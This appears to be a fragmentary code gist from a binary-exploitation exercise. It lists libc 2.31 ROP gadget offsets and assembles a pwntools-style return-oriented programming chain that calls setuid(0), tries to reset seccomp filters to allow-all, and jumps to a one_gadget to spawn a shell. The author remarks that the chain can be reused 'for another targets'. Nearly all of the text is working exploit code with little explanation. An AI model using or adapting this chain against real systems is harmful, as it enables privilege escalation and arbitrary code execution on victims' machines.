Created
August 18, 2021 08:43
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if you need one value from a function in libc 2.31 there is one chain that can transfer from rax to rbx then move to rdi, it can be used perfectly. | |
# 0x000000000011c371: pop rdx; pop r12; ret; | |
POP_RDX = int(libc.address) + 0x000000000011C371 | |
POP_RSI = int(libc.address) + 0x0000000000027529 | |
POP_RDI = int(libc.address) + 0x0000000000026B72 | |
PUSH_RAX = int(libc.address) + 0x0000000000151841 | |
POP_RAX = int(libc.address) + 0x000000000004a550 | |
MOV_RDI_RBX = int(libc.address) + 0x0000000000083dd1 # mov rdi, rbx; call rax | |
SYSCALL = int(libc.address) + 0x0000000000066229 # syscall; ret | |
PUSH_RSP = int(libc.address) + 0x000000000004543d # push rsp; ret | |
rbp = int(libc.address) + 0x1ef000 | |
i've tried to disable seccomp but it failed miserably but the chain can be used for another targets. | |
... | |
+ p64(POP_RSI) | |
+ p64(SCMP_ACT_ALLOW) | |
+ p64(POP_RDX) | |
+ p64(0x3b) # execve to rdx | |
+ p64(0x0) # pop r12 | |
+ p64(POP_RAX) | |
+ p64(exe.plt["seccomp_rule_add"]) | |
+ p64(MOV_RDI_RBX) | |
+ p64(0x0) | |
+ p64(0x0) | |
+ p64(POP_RDX) | |
rop3 = ( | |
p64(POP_RDI) | |
+ p64(0x0) | |
+ p64(SETUID) | |
+ p64(POP_RDI) | |
+ p64(SCMP_ACT_ALLOW) | |
+ p64(exe.plt["seccomp_init"]) | |
+ p64(PUSH_RAX) | |
+ p64(0x0) # pop rbp | |
+ p64(0x0) # pop r12 | |
+ p64(POP_RSI) | |
+ p64(SCMP_ACT_ALLOW) | |
+ p64(POP_RDX) | |
+ p64(0x3b) # execve to rdx | |
+ p64(0x0) # pop r12 | |
+ p64(POP_RAX) | |
+ p64(exe.plt["seccomp_load"]) | |
+ p64(MOV_RDI_RBX) | |
+ p64(0x0) | |
+ p64(0x0) | |
+ p64(POP_RDX) | |
+ p64(0x0) | |
+ p64(0x0) | |
+ p64(POP_RSI) | |
+ p64(0x0) | |
+ p64(ONE_GADGET) | |
) |
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